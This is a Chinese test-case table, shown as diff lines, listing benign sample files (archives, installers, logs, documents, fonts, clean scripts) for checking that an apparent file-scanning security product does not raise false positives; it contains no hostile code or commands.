+NEG-009,正常业务压缩包zip,普通压缩包不误报,业务打包zip,无嵌套、无穿越,1,所有层级无命中,无风险,业务收集干净样本,全层 +NEG-010,正常业务安装包(干净开源),正常安装包不误报,开源干净程序安装包,1,所有层级无命中,无风险,开源项目下载,全层 +NEG-011,正常日志文件,日志不误报,业务正常运行日志,1,所有层级无命中,无风险,业务收集干净样本,全层 +NEG-012,正常csv业务数据文件,数据文件不误报,业务csv数据,1,所有层级无命中,无风险,业务收集干净样本,全层 +NEG-013,正常eml业务邮件(无附件、无外联恶意),正常邮件不误报,内部业务邮件eml,1,所有层级无命中,无风险,业务收集干净样本,全层 +NEG-014,正常dll(系统干净dll),良性dll不误报,系统自带干净dll,1,所有层级无命中,无风险,系统提取,全层 +NEG-015,正常字体文件ttf,字体文件不误报,ttf字体,1,所有层级无命中,无风险,开源字体,全层 +NEG-016,正常CAD图纸,图纸文件不误报,dwg图纸,1,所有层级无命中,无风险,业务收集干净样本,全层 +NEG-017,多层嵌套干净zip(无风险),良性嵌套压缩不误报,4层嵌套干净zip,1,所有层级无命中,无风险,自制打包,全层 +NEG-018,正常bat运维脚本(内网备份),良性运维脚本不误报,内网备份bat,无高危命令,1,所有层级无命中,无风险,业务脚本,全层 +NEG-019,正常ps1运维脚本(内网查询),良性ps1不误报,内网信息查询ps1,1,所有层级无命中,无风险,业务脚本,全层 +NEG-020,正常odt文档,开源文档不误报,LibreOffice odt文档,1,所有层级无命中,无风险,自制,全层